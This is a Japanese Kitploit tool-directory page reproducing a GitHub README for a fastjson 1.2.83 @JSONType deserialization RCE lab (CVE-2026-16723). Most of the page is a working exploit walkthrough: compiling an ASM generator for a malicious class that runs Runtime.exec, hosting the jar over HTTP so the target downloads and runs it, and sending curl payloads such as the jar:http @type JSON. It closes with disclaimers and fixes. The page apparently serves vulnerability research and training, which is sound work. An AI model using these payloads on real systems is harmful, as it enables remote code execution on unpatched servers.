Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-16723 — 脆弱なSpring Bootターゲットと、HTTPまたはファイルプロトコルのjarチェーンを使用したASMベースのペイロードジェネレータを用いて、fastjson 1.2.83 @JSONType RCEを再現します。 | Kitploit
ツール/GitHubGitHub/superman-l/cve-2026-16723
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

脆弱なSpring Bootターゲットと、HTTPまたはファイルプロトコルのjarチェーンを使用したASMベースのペイロードジェネレータを用いて、fastjson 1.2.83 @JSONType RCEを再現します。

リポジトリを見る
11日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🚨 CVE-2026-16723 — fastjson 1.2.83 @JSONType リソース探索チェーン RCE

Java fastjson Type Environment Status

fastjson 1.2.66 ~ 1.2.83 における @JSONType アノテーション + 不正なクラス名 + jar: プロトコルを使ったリモートクラスロード / コマンド実行の再現プロジェクト。

⚠️ 免責事項

本プロジェクトはセキュリティ研究、脆弱性の再現、認可されたテストのみを目的としています。許可のないシステムへの使用、不正な攻撃、悪意のある用途は固く禁じられています。 利用者は自身の行動に対して全責任を負い、著者はいかなる悪用に対しても法的責任を負いません。


脆弱性分析記事の参考: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 プロジェクト概要

本プロジェクトは CVE-2026-16723 を中心に、完全な fastjson 1.2.83 脆弱性再現環境を構築します:

  • demo/ —— 脆弱性のある Spring Boot 2.7.18 Web アプリケーション(fastjson 1.2.83 に依存)。外部に POST /parse エンドポイントを公開し、JSON.parse(json) を直接呼び出します;
  • exp/ —— ASM ベースの悪意あるプローブ jar ジェネレーター(HTTP プロトコル / FILE プロトコルの2形態);
  • 环境/ —— プリコンパイル済みの3種類のミドルウェア FatJar(Tomcat / Jetty / Undertow)、すぐにそのまま使用可能。

利用の核となる考え方:@type が jar URL である特別な JSON を構築し、fastjson を @JSONType アノテーションの信頼ブランチ → getResourceAsStream によるリモート/ローカル jar のダウンロード → defineClass による悪意あるクラスのロード → クラス初期化時の <clinit> トリガー → 任意コマンド実行(RCE) と進めます。


🎯 脆弱性の概要

利用条件

  1. ターゲットコード:JSON.parse(json) または JSON.parseObject(json) を使用して信頼できない入力を直接解析しており、 fastjson のバージョンが 1.2.66 ~ 1.2.83 で、safeMode が無効であること;
  2. ターゲットの実行形態:Spring Boot FatJar(java -jar で起動、LaunchedURLClassLoader、 Spring Boot ≤ 2.7 でのみ jar: プロトコル Handler のフォールバック機能が保持される);
  3. ターゲット JVM:JDK 8(JDK 9+ では defineClass が ClassFormatError をスローし、最大でも SSRF しか実行できません);
  4. ネットワーク到達性:ターゲットが攻撃機の HTTP ポートにアクセスできる(HTTP プロトコルチェーン)、またはローカルの jar ファイルを読み取れる(FILE プロトコルチェーン)。

🧩 脆弱性の原理

fastjson の checkAutoType は、@JSONType アノテーションを持つクラスに遭遇すると信頼ブランチに入り、 ほとんどのブラックリスト検証をスキップしてロードを許可します。本プロジェクトはこれを利用し、ASM で直接バイトコードを書き、 【不正な内部クラス名】を class 定数プールの this_class に書き込んで、3箇所の名前を完全に一致させます:

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

悪意あるクラスの構造:

  1. @JSONType アノテーション —— fastjson の checkAutoType 信頼ブランチを開く鍵;
  2. デフォルトコンストラクタ <init>()V —— fastjson が正常にインスタンス化できることを保証;
  3. <clinit> 静的初期化ブロック —— クラスロード時の初期化で即座に Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) を実行し、コマンド実行を実現。

不正なクラス名は javac では書き出せず、ASM だけが URL を直接定数プールに書き込めます —— これが本プロジェクトの ジェネレーターが asm-9.6.jar に依存する理由です。


📁 プロジェクト構成

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

ラボ環境のインターフェース

demo/src/main/java/com/example/demo/controller/VulController.java:

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 クイックスタート

1. 脆弱性ラボの起動

ラボは JDK 8 環境で実行する必要があります(利用条件と一致)。

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

起動後のエンドポイントアドレス:http://127.0.0.1:8080/parse


💥 エクスプロイト

方法1:HTTP プロトコルチェーン(jar:http、推奨)

① ジェネレーターのコンパイル

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② 悪意あるプローブ jar の生成

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 —— 悪意ある jar の HTTP ホスティングポート
  • open -a Calculator —— ターゲットマシンで実行するコマンド(macOS では電卓が起動します; Linux では id > /tmp/pwned 2>&1 を使用し、ファイルの存在を確認します)

デフォルトでファイル x(拡張子なし)が生成され、内部に y.class が含まれ、 payload は次のとおり:

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ 悪意ある jar のホスティング(HTTP サービス)

root@kitploit:~
python3 -m http.server 19090

python3 -m http.server は、x ファイルを生成したディレクトリで起動してください。

④ ターゲットへ payload を送信

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ 検証

コマンド実行の結果は HTTP レスポンスには表示されません。ターゲットマシン上で確認する必要があります:

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

方法2:FILE プロトコルチェーン(jar:file)

適用シナリオ:ターゲットが攻撃機の HTTP ポートにアクセスできない場合(内部ネットワークの分離 / アウトバウンド制限)でも、 jar ファイルをターゲットマシンのファイルシステムに配置できる場合。

① ジェネレーターのコンパイル

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② ターゲットの対応ディレクトリでプローブ jar を生成

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

ジェネレーターはカレントディレクトリに基づいて jar:file: URL を計算します(ディレクトリ区切り文字 / は . に置き換えられます)。 例えば /tmp/project/exp で生成した場合、payload は次のとおり:

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ 生成した jar をターゲットマシンの対応ディレクトリに配置

生成したファイル y を、ターゲットマシン上の @type に対応する絶対パス (例:/tmp/project/exp/y)にアップロード/コピーし、ディレクトリ構造を一致させます。

④ ターゲットへ payload を送信

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

注意:FILE プロトコルチェーンのパスは、ターゲットマシン上の実際のファイルパスと完全に一致している必要があります。 一致しない場合、リソース探索は失敗し、ロードをトリガーできません。


⚙️ ジェネレーターパラメーターの説明

GenProbeHttp(HTTP プロトコルチェーン)

GenProbefile(FILE プロトコルチェーン)

IP の整数形式変換

2130706433 は 127.0.0.1 の符号なし 32 ビット整数です。整数で記述することで、IP 内の . が fastjson の . → / 置換ロジックによって壊れるのを防げます。攻撃機がローカルにない場合:

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 よくある質問

エラー autoType is not support. jar:http:... が発生

jar はダウンロードできている(SSRF は成立している)ことを示しますが、TypeUtils.loadClass が null を返しています。 原因はほぼ次の2つだけです:

  1. 悪意あるクラスに @JSONType アノテーションがない —— 信頼ブランチの探索を通過できず、loadClass にすら到達しません;
  2. 悪意あるクラスの内部クラス名が @type と一致しない —— defineClass でクラス名が実体と一致せず、ロードに失敗します。

本プロジェクトのジェネレーターはこの2点を同時に解決しています:@JSONType アノテーション + 3箇所の名前の一致。

単発の jar:http でも RCE できない?

ターゲットの ClassLoader が LaunchedURLClassLoader でない場合 (例:IDE で直接 Run、通常の war パッケージ、Spring Boot 3.x)、単発の jar:http チェーンでは RCE できず、 最大でも SSRF の検証しかできません。

なぜ JDK 8 が必要なのか?

JDK 9+ の defineClass は不正なクラス名に対する検証がより厳格で、ClassFormatError をスローするため、 チェーンはロード段階で途切れます。


🛡 修正の推奨事項

  1. コンポーネントのアップグレード:fastjson 1.x はメンテナンスが終了しているため、fastjson2 への移行 (または修正済みバージョンへのアップグレード)を推奨し、公式のセキュリティアドバイザリを確認してください;
  2. safeMode の有効化:ParserConfig.getGlobalInstance().setSafeMode(true); で autoType を完全に無効化できます;
  3. 信頼できない入力の解析を避ける:ユーザー入力に対して JSON.parse(json) / JSON.parseObject(json) を直接呼び出さず、可能な限り JSON.parseObject(json, Xxx.class) で対象の型を明示的に指定してください;
  4. ブラックリスト / ホワイトリストの使用:ParserConfig.addAccept(...) で信頼できるクラスのみを許可;
  5. Spring Boot / JDK のアップグレード:より新しいバージョンの JDK と Spring Boot を使用することで、攻撃可能な面を減らせます;
  6. 露出の最小化:インターネットに公開するエンドポイントに認証を施し、WAF で疑わしい @type ペイロードをブロックします。

📚 参考

  • fastjson 公式 GitHub:https://github.com/alibaba/fastjson
  • fastjson セキュリティアドバイザリ / 脆弱性情報:https://github.com/alibaba/fastjson/wiki/security_update_guidance

このプロジェクトが役に立ったなら、ぜひ ⭐ Star でセキュリティ研究と脆弱性ドキュメントの整備を支援してください。

⚠️ 認可されたテストのみに使用し、決して不正な用途に使用しないでください!

ツールをダウンロード
項目内容
CVECVE-2026-16723
コンポーネントAlibaba fastjson
影響バージョン1.2.66 ~ 1.2.83(1.x の最終バージョンでも影響を受けます)
脆弱性タイプ逆シリアル化によるリモートコード実行(RCE)
トリガーエントリJSON.parse(json) / JSON.parseObject(json)(具体的な型を指定しない)
前提条件ターゲットが Spring Boot FatJar、JDK 8、safeMode 無効
パラメーターデフォルト値説明
port19090悪意ある jar のホスティングポート
cmdid > /tmp/pwned 2>&1ターゲットマシンで実行するコマンド
hostToken2130706433ターゲットがアクセスする IP の整数形式(127.0.0.1)
entryyjar 内の class エントリ名
outFilex生成される jar のファイル名(拡張子なし)
パラメーターデフォルト値説明
port19090予約パラメーター(FILE チェーンではポートを使用しない)
cmdid > /tmp/pwned 2>&1ターゲットマシンで実行するコマンド
dirカレントディレクトリターゲットマシン上の jar のディレクトリ(jar:file: URL の生成用)
entryxjar 内の class エントリ名
outFiley生成される jar のファイル名(拡張子なし)